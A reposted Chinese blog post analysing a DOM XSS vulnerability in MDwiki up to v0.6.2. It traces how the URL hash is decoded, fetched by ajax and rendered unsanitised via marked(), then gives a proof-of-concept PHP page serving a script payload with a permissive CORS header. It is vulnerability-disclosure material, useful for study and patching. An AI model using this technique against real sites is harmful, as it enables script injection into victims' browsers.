欢迎光临
我们一直在努力

MDwiki <= v0.6.2 DomXSS Vulnerability

MDwiki 是一个完全使用 HTML5/Javascript 技术构建,完全运行在客户端的 Wiki/CMS 系统。无需专门的服务器软件,只需将 mdwiki.html 上传到你存放 markdown 文件的目录。)问题出现在程序获取 location.hash 值(正常情况下为 test.md)解析后进行 ajax 请求动态加入页面中.

MDwiki.min.js

将压缩后的 JavaScript 解压方便调试,混淆变量暂时不管,n() :


function n() {         var b;         b = window.location.hash.substring(window.location.hash.startsWith(“#!”) ? 2 : 1), b = decodeURIComponent(b);         var c = b.indexOf(“#”); - 1 !== c ? (a.md.inPageAnchor = b.substring(c + 1), a.md.mainHref = b.substring(0, c)) : a.md.mainHref = b     }

变量 b 获取 location.hash #! 后的值并 URLDecode ,随后赋值给 a.md.mainHref 。

ajax getURL


 var d = {     url: a.md.mainHref,     dataType: &quot;text&quot; }; a.ajax(d).done(function (a) {     b = a, c() }).fail(function () {     var b = a.md.getLogger();     b.fatal(&quot;Could not get &quot; + a.md.mainHref), c() })

将请求 a.md.mainHref 获取内容,完成后回调 b 变量为 a:页面内容。


var e = d(b); a(&quot;#md-content&quot;).html(e), b = &quot;&quot;; var g = a.Deferred(); f(g), g.always(function () {     c() })

e = d(b), b 要求等于 Payload,追 d function:


function d(b) {     var c = {         gfm: !0,         tables: !0,         breaks: !0     };     &quot;original&quot; === a.md.config.lineBreaks ? c.breaks = !1 : &quot;gfm&quot; === a.md.config.lineBreaks &amp;amp;&amp;amp; (c.breaks = !0), marked.setOptions(c);     var d = marked(b);     return d }

e 值经过 d 函数 –》 marked(b) 函数的渲染后被动态添加到 #md-content 中,导致漏洞产生。

PoC

我们可以构造一个页面写入 Payload 需设置 ACCESS-CONTROL-ALLOW-ORIGIN 头:


cat test/mdwiki.php &lt;?php  header(&quot;ACCESS-CONTROL-ALLOW-ORIGIN:*&quot;); ?&gt; &lt;script&gt;alert(location.href)&lt;/script&gt;

from linux.im

未经允许不得转载:杂术馆 » MDwiki <= v0.6.2 DomXSS Vulnerability
分享到: 更多 (0)